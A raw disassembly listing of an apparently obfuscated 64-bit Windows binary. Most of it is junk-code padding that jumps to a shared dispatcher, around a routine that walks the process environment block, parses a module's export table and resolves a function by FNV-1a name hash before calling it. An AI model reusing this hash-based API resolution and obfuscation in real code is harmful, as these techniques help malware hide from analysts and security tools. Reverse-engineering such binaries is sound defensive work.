xor eax, 0x94d68961
rol eax, 0xac
popf
pushf
not eax
add eax, 0xd71165b0
xor eax, 0xecda76e7
rol eax, 0xea
popf
pushf
not eax
add eax, 0xe80d6956
xor eax, 0xcec50ec4
rol eax, 0x37
popf
jmp 0x140440c87
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140442249
push rax
pushf
mov eax, 0xcc42346a
pushf
not eax
add eax, 0xc5ecc2a7
xor eax, 0x8c1b299d
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x95b86e17
xor eax, 0xdadf9546
rol eax, 0xd9
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x5622693c
pushf
not eax
add eax, 0xd5226002
xor eax, 0xfed9cc7d
rol eax, 0x38
popf
pushf
not eax
add eax, 0xfdba8db8
xor eax, 0xc7a058a6
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf5a0e440
xor eax, 0xf7e8b7dc
rol eax, 0x7a
popf
jmp 0x140440c87
mov rcx, r8
push rax
pushf
mov eax, 0xd0b456d7
pushf
not eax
add eax, 0x824fda31
xor eax, 0x840d7114
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xe75e57b5
xor eax, 0xe2d9eb39
rol eax, 0x20
popf
pushf
not eax
add eax, 0xcd6e4bf1
xor eax, 0xf4b111d1
rol eax, 0x83
popf
pushf
not eax
add eax, 0xd69c16e7
xor eax, 0xb9705426
rol eax, 0x99
popf
jmp 0x140440c87
call fcn.140432633
push rax
pushf
mov eax, 0xbd5be505
pushf
not eax
add eax, 0xfbdfbe36
xor eax, 0xd330f7b7
rol eax, 0xc
popf
pushf
not eax
add eax, 0xdf4d77b3
xor eax, 0xccab69fe
rol eax, 8
popf
pushf
not eax
add eax, 0xaeb69c84
xor eax, 0xc0fb74a4
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xdd2e9f7f
xor eax, 0xd63e6346
rol eax, 0xea
popf
jmp 0x140440c87
mov rax, r15
mov byte [r14], 0
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov qword [r14 + 0x10], r13
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.140319880
mov rbx, qword [rsp + 0x250]
movaps xmm6, xmmword [rsp + 0x1f0]
add rsp, 0x200
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rbp - 0x34]
push rax
pushf
mov eax, 0x79837052
pushf
not eax
add eax, 0x9615ea78
xor eax, 0xaeeeda77
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x963bc8ba
xor eax, 0xc58f2991
rol eax, 0xc7
popf
jmp 0x140440c87
inc rsi
cmp byte [rax + rsi], 0
jne 0x14044241a
mov r8, rsi
lea rdx, [rbp - 0x34]
lea rcx, [rbp - 0x80]
call fcn.14013d0f0
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
push rax
pushf
mov eax, 0x97cf07e6
pushf
not eax
add eax, 0xc23cfbe4
xor eax, 0xd4a1b72d
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xaabd00ae
xor eax, 0xb9fd8dff
rol eax, 0x75
popf
pushf
not eax
add eax, 0x89c557a0
xor eax, 0xdb6bb623
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8753cd32
xor eax, 0x84b56fea
rol eax, 0x3b
popf
jmp 0x140440c87
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x1404424f5
push rax
pushf
mov eax, 0x106fe280
pushf
not eax
add eax, 0xd9cc502d
xor eax, 0xe38f8976
rol eax, 0x58
popf
pushf
not eax
add eax, 0xd033f638
xor eax, 0xf60926f3
rol eax, 0x3b
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x4494ea9d
pushf
not eax
add eax, 0x8985609c
xor eax, 0xe0e48b52
rol eax, 0x28
popf
pushf
not eax
add eax, 0xe94963ad
xor eax, 0xb8562566
rol eax, 0xee
popf
pushf
not eax
add eax, 0x8cf7deb9
xor eax, 0xe85c43b4
rol eax, 0xe3
popf
jmp 0x140440c87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14044259d
push rax
pushf
mov eax, 0x2be7c7f8
pushf
not eax
add eax, 0xf11e6c38
xor eax, 0x99ef70a6
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x94a88584
xor eax, 0x9feb0bf5
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xc0cd1bb0
xor eax, 0xfebcbbc0
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x8e5bd4ea
xor eax, 0xe98d4331
rol eax, 0xf0
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x11f6f209
pushf
not eax
add eax, 0xfdb8b424
xor eax, 0xa78df476
rol eax, 0x14
popf
pushf
not eax
add eax, 0xd061388c
xor eax, 0xeefed329
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x99cc3de3
xor eax, 0xdb7081b3
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xcea7e2d7
xor eax, 0xffdb54f2
rol eax, 5
popf
jmp 0x140440c87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x3a09c29
pushf
not eax
add eax, 0xe97d5a79
xor eax, 0xce337fec
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xc7c99dcb
xor eax, 0xad3e772c
rol eax, 0xe
popf
pushf
not eax
add eax, 0x8aa8fad0
xor eax, 0xa116d546
rol eax, 0xcd
popf
jmp 0x140440c87
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov r8d, 0xc9027e2d
pushf
not r8d
add r8d, 0x837a0a15
xor r8d, 0xa0ef12b6
rol r8d, 0xd4
popf
pushf
not r8d
add r8d, 0x944f37db
xor r8d, 0xd0831b9f
rol r8d, 0xb
popf
pushf
not r8d
add r8d, 0xc5784745
xor r8d, 0xa6b3af5a
rol r8d, 0x5d
popf
pushf
not r8d
add r8d, 0xbbb8e362
xor r8d, 0xeba7ca12
rol r8d, 0xab
popf
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14044271e
push rax
pushf
mov eax, 0x1cb51d38
pushf
not eax
add eax, 0xfbe2900f
xor eax, 0xf36ac046
rol eax, 0x89
popf
pushf
not eax
add eax, 0xcd78ff08
xor eax, 0x86773a70
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xfcc98b15
xor eax, 0xc9360c33
rol eax, 0x86
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x186b5777
pushf
not eax
add eax, 0xb2d04ffc
xor eax, 0xa9e1af14
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x8c3ae893
xor eax, 0x85ca2820
rol eax, 0x19
popf
jmp 0x140440c87
nop
push rax
pushf
mov eax, 0xdc917478
pushf
not eax
add eax, 0xbeb493ab
xor eax, 0xc431626f
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xcea60885
xor eax, 0x94632ee8
rol eax, 0x83
popf
pushf
not eax
add eax, 0xf37c85d8
xor eax, 0xd36d5267
rol eax, 0x62
popf
pushf
not eax
add eax, 0xda505b78
xor eax, 0xdebb177e
rol eax, 0xe7
popf
jmp 0x140440c87
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14044280a
push rax
pushf
mov eax, 0xc889959f
pushf
not eax
add eax, 0x95d7098f
xor eax, 0x969d19be
rol eax, 0x64
popf
pushf
not eax
add eax, 0xe8777c0f
xor eax, 0xec80bfde
rol eax, 0x49
popf
pushf
not eax
add eax, 0xbe323da2
xor eax, 0xdd5aae12
rol eax, 0x93
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x54584fb9
pushf
not eax
add eax, 0xeb0d0788
xor eax, 0x9bb88797
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xb9f09c55
xor eax, 0xf9f002c7
rol eax, 0x20
popf
pushf
not eax
add eax, 0xd9efabde
xor eax, 0xacffd055
rol eax, 0x26
popf
jmp 0x140440c87
cmp r8d, 0x6175328b
je 0x14044289f
push rax
pushf
mov eax, 0x79476570
pushf
not eax
add eax, 0xbd07e258
xor eax, 0xbc82ad80
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x8f3c11a4
xor eax, 0xff85e2fb
rol eax, 0x17
popf
pushf
not eax
add eax, 0xae3c72f5
xor eax, 0xfeb1f795
rol eax, 0xd4
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x234e6b03
pushf
not eax
add eax, 0xfc611f8a
xor eax, 0xaf80786c
rol eax, 0x77
popf
pushf
not eax
add eax, 0xd465653b
xor eax, 0xe219c134
rol eax, 0x98
popf
pushf
not eax
add eax, 0x8f4168f1
xor eax, 0xe29b22f2
rol eax, 0x97
popf
pushf
not eax
add eax, 0x8916945a
xor eax, 0xccf084ce
rol eax, 7
popf
jmp 0x140440c87
test r9d, r9d
jne 0x140442943
push rax
pushf
mov eax, 0xcd9b0623
pushf
not eax
add eax, 0xd20adccd
xor eax, 0xec321b21
rol eax, 0x16
popf
pushf
not eax
add eax, 0xcc5cda0a
xor eax, 0xa6dce2a7
rol eax, 0x55
popf
pushf
not eax
add eax, 0xba904455
xor eax, 0xb4e6a490
rol eax, 0x8e
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x6bd96ec7
pushf
not eax
add eax, 0xd32d0619
xor eax, 0xf6a6d280
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xe04ff2f0
xor eax, 0xb3ddd27e
rol eax, 0xec
popf
pushf
not eax
add eax, 0xc8429198
xor eax, 0xd4c2d4a1
rol eax, 0x24
popf
pushf
not eax
add eax, 0x9758356d
xor eax, 0xd3269f05
rol eax, 0x43
popf
jmp 0x140440c87
mov rax, qword [rax]
jmp 0x14044249f
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov rcx, r12
jmp 0x140442a38
call rdx
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [r15], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [r15 + 0x10], xmm1
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140442a9c
push rax
pushf
mov eax, 0x442069d7
pushf
not eax
add eax, 0xab3c26fc
xor eax, 0xceb66017
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa533c2d1
xor eax, 0xb03dd939
rol eax, 0x29
popf
pushf
not eax
add eax, 0xac384dff
xor eax, 0xf194cf10
rol eax, 0x34
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x183560e4
pushf
not eax
add eax, 0x8fda6e92
xor eax, 0x8d825722
rol eax, 0x19
popf
pushf
not eax
add eax, 0xb499df32
xor eax, 0x94a5963c
rol eax, 0x7b
popf
jmp 0x140440c87
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140442b16
push rax
pushf
mov eax, 0xe639f7da
pushf
not eax
add eax, 0xdd0acea5
xor eax, 0xbbbe78cd
rol eax, 0x77
popf
pushf
not eax
add eax, 0x8863404f
xor eax, 0x84bc898f
rol eax, 0x3d
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xfda6b077
pushf
not eax
add eax, 0x8462fdb6
xor eax, 0xac40a954
rol eax, 0x44
popf
pushf
not eax
add eax, 0xb44b6f2a
xor eax, 0xaccf5c89
rol eax, 0x11
popf
pushf
not eax
add eax, 0xb71d40c9
xor eax, 0xa55e7e71
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x8569e350
xor eax, 0xce111ac5
rol eax, 0xed
popf
jmp 0x140440c87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140442bb7
push rax
pushf
mov eax, 0x5ea8c8e5
pushf
not eax
add eax, 0xca651e93
xor eax, 0x86b30c40
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xb0c62fb5
xor eax, 0xf911fe4d
rol eax, 0x9a
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0xd7f0200d
pushf
not eax
add eax, 0xc7bfab13
xor eax, 0x9792519a
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x9bdf3f03
xor eax, 0x8c18f6fa
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xcf4d157c
xor eax, 0xc5ffa923
rol eax, 0xd6
popf
jmp 0x140440c87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xbf43c9cd
pushf
not eax
add eax, 0xffa84b4e
xor eax, 0xe04690b4
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xf4d60fbc
xor eax, 0xb101cfc2
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x9d6e8455
xor eax, 0x8843b9fa
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xfc320c27
xor eax, 0xf5878c9a
rol eax, 0xb6
popf
jmp 0x140440c87
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140442cea
push rax
pushf
mov eax, 0xbc021b2d
pushf
not eax
add eax, 0xa8951a7d
xor eax, 0xc182faca
rol eax, 0x28
popf
pushf
not eax
add eax, 0xc16ae8a9
xor eax, 0xb165604b
rol eax, 0x5c
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x7a857a32
pushf
not eax
add eax, 0xba1ec8a3
xor eax, 0xb6d0bf71
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf25ca442
xor eax, 0xb1fa11c5
rol eax, 0xf7
popf
jmp 0x140440c87
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140442d89
push rax
pushf
mov eax, 0x24b3b827
pushf
not eax
add eax, 0xdc7018b1
xor eax, 0xf3e6ef16
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xdd755ed3
xor eax, 0xf670705e
rol eax, 0xda
popf
pushf
not eax
add eax, 0xb8a1e954
xor eax, 0xafb7f37b
rol eax, 0x28
popf
pushf
not eax
add eax, 0xa109c924
xor eax, 0xa67a60ff
rol eax, 0x6b
popf
jmp 0x140440c87
push rax
pushf
mov eax, 0x6d0c488b
pushf
not eax
add eax, 0xb8207c74
xor eax, 0xf694a09f
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x9c727b8a
xor eax, 0x8ab52b11
rol eax, 0x34
popf
pushf
not eax
add eax, 0xcea27311
xor eax, 0xc6f424ca
rol eax, 0x22
popf
pushf
not eax
add eax, 0xb9f2ea3b
xor eax, 0xd9c4e211
rol eax, 0x84
popf
jmp 0x140440c87
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jmp 0x140442210
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0x6c40528f
pushf
not eax
add eax, 0x8fb03e4c
xor eax, 0xcc727b8a
rol eax, 0x81
popf
pushf
not eax
add eax, 0x89031515
xor eax, 0xb329e83c
rol eax, 0x85
popf
pushf
not eax
add eax, 0xe6e12ada
xor eax, 0xa9c59776
rol eax, 0x6e
popf
jmp 0x140440c87
call fcn.14012a680
int3